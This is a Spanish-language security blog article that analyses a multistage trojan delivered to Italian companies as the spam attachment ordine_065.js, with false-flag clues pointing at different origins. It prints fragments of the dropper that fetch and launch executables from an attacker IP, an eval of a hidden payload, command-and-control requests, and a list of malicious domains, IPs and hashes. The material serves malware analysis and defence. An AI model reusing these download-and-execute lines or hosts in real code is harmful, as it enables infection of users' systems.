Ataque de Malware contra empresas italianas utiliza estrategia de bandera falsa

Cada grupo criminal implicado en ataques de malware deja sus propias huellas en cada golpe, estilos de programación o rutinas concretas que llegan a ser muy peculiares, algo similar a una huella digital. Todas estas formas de operar, técnicas, ayudan con el paso del tiempo a responsabilizar a alguien tangible por un ataque que podría decirse que “no tiene rostro”.

Los grupos de inteligencia enfocados a arrestar a estos criminales, utilizan todas estas “cookies” dejadas por los hackers.

Pero ahora los criminales han dispuesto una nueva estrategia, enfocada a cubrir también sus huellas, tratando de culpar a otros dejando pistas falsas que pueden llevar las investigaciones hacia rumbos distintos.

Tal es el caso del ataque que tiene a Italia como blanco en donde se pueden encontrar dentro del código del malware pistas falsas que pretenden causar desconcierto y apuntar hacia otra dirección.

 

ESPECIFICACIONES GENERALES

Nombre: Ordine_065.js

Clasificación: Troyano.

Objetivos: Compañías Italianas.

Modo de distribución: Spam

 

ANTECEDENTES

El ataque fue identificado por Marco Ramilli, un investigador de malware con experiencia en ingeniería de reversa y seguridad el cual reportó el ataque de “Bandera Falsa” en contra de empresas Italianas, las cuales fueron bombardeadas con correos electrónicos que pretendían parecer un formato de orden y que contenían un archivo adjunto ordine_065.js lo que resultaba bastante sospechoso.

 

ANÁLISIS DE LA INFECCIÓN

Después de que el analista revisara el archivo .txt Por supuesto el archivo no era ninguna orden, sino un descargador, que al ser editado dejaba claras las intenciones y donde pueden verse líneas como las siguientes:

var fingers = “http://31.148.99.254/set.tmp”;

var legs = “system.exe”;

var objXMLHTTP = new ActiveXObject(“MSXML2.XMLHTTP”);

var shell = WScript.CreateObject(“Script.Shell”);

DROPPER

ETAPA INICIAL

El dropper descarga y ejecuta un archivo PE desde la dirección 31.148.99.254 que aparentemente está hospedada por una empresa de telecomunicaciones que ofrece servicios de nube como servidores dedicados, sistemas de colocación y que se encuentra ubicada en Ukrania, aquí la pista va hacia Rusia, pero esto no es todo, otras pistas serán ofrecidas mas delante.

Ahora bien, al enlistar la dirección IP, se consigue un malware con múltiples archivos los cuales se cree que tienen distintos objetivos de ataque.

 Entre los archivos se encuentra un interesante .txt, con contenido de VisualBasic el cual se cree que puede ser utilizado para ofuscar VBScripts. Se puede notar que las líneas están relacionadas con el ataque Script-Coding.com Ruso publicado en el 2011, con lo que las pistas aquí apuntan hacia otros supuestos responsables en la creación del código, otra bandera posiblemente falsa levantada, a continuación se muestran algunas de las líneas que lo conforman donde se pueden observar comentarios en excelente inglés.

OPTION EXPLICIT

              On error Resume Next

              Const intMaxLen = the maximum length of a name in characters (Const-1)

              Const intPro = 60 ´percent of alphabet characters in a new randomized name

              Const Batir = True ´need for agitation variable names, False – do not stir 🙂

              Const bWriteLog = False ´need to create a log file renaming, False – do not create

              Const bTransChr = False ´need for character transformation, False – does not transform

Set eso = Create Object ( “Scripting.FileSystemObjetc”)

 

ANÁLISIS LATERAL

CERTIFICADO.JS

Posterior al análisis del txt, el experto se concentra en el análisis del archivo Certificate.js que ofrece una técnica original de esconder un archivo de script de Java.

En el contenido, pueden observarse llaves privadas y públicas que se citan y dan como resultado un archivo .js válido el cual puede ser interpretado por un motor js.

Del certificado se obtiene “http://88.99.112.78/js/P8uph16W”

Se puede observar la evaluación del certificado a través de la función

Eval(“”+Cs+””)

P8uph16W, una vez en el editor, resulta mas legible.

Ahora, desde el archivo Dropper 2

1.- Descarga un stat.exe desde un tercer recurso de web

2.- Renombra el archivo descargado utilizando

Math.random().toString(36).substr(2, 9) + “.exe”

Y después lo lanza por medio de la variable

VTmBaOw = new ActiveXObject(“WScript.Shell”);

El archivo de dropper descargado es:

00b42e2b18239585ed423e238705e501aa618dba

Este puede evadir tanto SandBoxes como motores AntiVirus. Es un archivo PE  que ha sido implementado por medio de un .NET compilado y válido.

Ahora, viene una tercera pista que apunta hacia un posible responsable pero en esta ocasión la pista tiene caracteres orientales los cuales se encuentran contenidos en un array.

Siguiendo estos caracteres, se encuentra una función reflectiva, que usa un archivo .NET en la función Assembly.Load() para abrir la traducción binaria dinámicamente del array.

También  se utiliza un EntryPoint.Invoke() para correr tal binario. Esta es una técnica reconocida para explotar la habilidad del lenguaje .NET para introducir su propia rutina Runtime.

 

ETAPA 2

Archivos  Assembly.Load y EntryPoint.Invoke

El experto decidió aquí realizar un parchado del código para forzar el control flujo a guardar dinámicamente el contenido generado en HD. Donde se puede observar una tercera fase de la infección compuesta por un PE adicional.

 

ETAPA 3

PE Descifrado.

Para pasar a la fase 3, es necesario descifrar la traducción binaria del array. Si se analiza el código, el ciclo descifrado ha sido implementado a través de un algoritmo de encriptado basado en XOR.

Como resultado se obtiene un PE construido a través de tecnología de Microsoft VisualBasic. Recordemos el archivo inicial txt. Lo que da la estructura de la fase tres de infección.

En la estructura de la fase tres se observan 3 módulos.

  1. a) un Anti módulo. Que implementa varias técnicas de evasión que se encuentra relacionada con la implementación de la amenaza en máquinas virtuales.
  2. b) Un Servicio de segundo plano.
  3. c) Ejecución de un módulo que lanza un PE adicional encriptado en el folder de recursos.

Con el primer módulo, se trata de controlar el comportamiento de la amenaza dependiendo de las circunstancias en que se encuentre ejecutándose. Cambiándolo según sea conveniente.

El módulo de servicio deshabilita varias de las características de Windows como pueden ser EnableLUA, Disable CMD, DisableTaskMgr y algunas otras seguramente.

 

DESHABILITANDO LAS PROTECCIONES DE WINDOWS.

Como paso final, los módulos RunPE, descifran un recurso incrustado y encriptado y tratan de ejecutarlo.

FASE 4

En la línea 253 de la tercera fase, se descifra un recurso y se ejecuta, puede observarse la secuencia de decriptación 0x4D, 0x5A, 0x90 la cual sucede en una ventana PE adicional y se da lugar a una cuarta fase de la infección.

Aquí entra a escena un archivo escrito en lenguaje C++, el experto analizando su comportamiento, pudo captar los archivos descargados .nls y .bat los cuales son guardados en disco duro después de que la fase 4 es invocada.

.BAT

Este archivo, trata de ejecutar por medio de un cmd.exe /c con parámetros %1 y %2

si el archivo a ejecutar no existe en disco duro, borra el archivo original, es decir se borra a si mismo.

El %1 es un dropped PE adicional.

%2 es un valor random, no se tiene conocimiento claro del objetivo de esta variable.

Una vez que el ejemplo es ejecutado entonces realiza solicitudes externas, extrayendo información también cifrada de las siguientes fuentes.

GET /htue503dt/images/uAsMyeumP3uQ/LlAgNzHCWo8/XespJetlxPFFIY/VWK7lnAXnqTCYVX_2BL6O/vcjvx6b8nqcXQKN3/J6ga_2FN2zw6Dv6/r5EUJoPCeuwDIczvFL/kxAqCE1du/yzpHeaF3r0pY4KFUCyu0/jDoN_2BArkLgWaG/fFDxP.gif HTTP/1.1

POST /htue503dt/images/YtDKOb7fgj_2B10L/MN3zDY9V3IPW9vr/JSboSiHV4TAM_2BoCU/LocIRD_2B/MEDnB2QG_2Bf2dbtio8H/_2BLdLdN21RuRQj3xt2/SDWwjjE2JeHnPcsubnBWMG/NJUCRhlTnTa9c/5Dzpqg92/AypuGS6etix2MQvl1C8/V.bmp HTTP/1.1

 

CONCLUSIÓN

Por lo que se refiere a la ingeniería del malware, resulta sofisticado, pero se puede verse el gran esmero que se ha puesto en tratar de desconcertar al analista para no identificar un origen claro del desarrollador, o bien, deja ver entre líneas que se trata de una colaboración entre varios autores que operan desde distintas nacionalidades, lo que resulta bastante complejo.

Por todo caso, este malware es un ejemplo completo en el cual nada es lo que parece.

 

INDICADORES DE COMPROMISO

IP

http://88.99.112.78/

http://31.148.99.254/

http://mezzelune.com/arch/stat.exe

http://online.allscapelawnservices.com/arch/stat.exe

http://quotidianoannunci.it/arch/stat.exe

9b8251c21cf500dcb757f68b8dc4164ebbcbf6431282f0b0e114c415f8d84ad0

6456cd84f81b613e35b75ff47f4ccd4d83ec8634b5dcdf77f915fe7380106b28

5ab04878b630d1e0598fb6f74570f653a6bd0753dad9ef55ecf467bee7e618e1

 4605dc8f1bc38075eacf526a1126636aa570fccbe78dca69781cc25edd1a1043

3fc092b52e6220713d2cb098c6d11a56575c241f

610df2672d7cae29e48118a27c4cb2a531e6399b

c304502aa7217399acc0162f41da00dc4add4105

URL

magicians-blog.info

ozarkpatternconcrete.info

androidtutorials.info

executenet.pw

base.vuquoctrung.info/htue503dt

base.magicians-blog.info/htue503dt

base.ozarkpatternconcrete.info/htue503dt

base.androidtutorials.info/htue503dt

executenet.pw/htue503dt

 

Referencias

False attack on multistage

Share with your friends










Submit
Tags: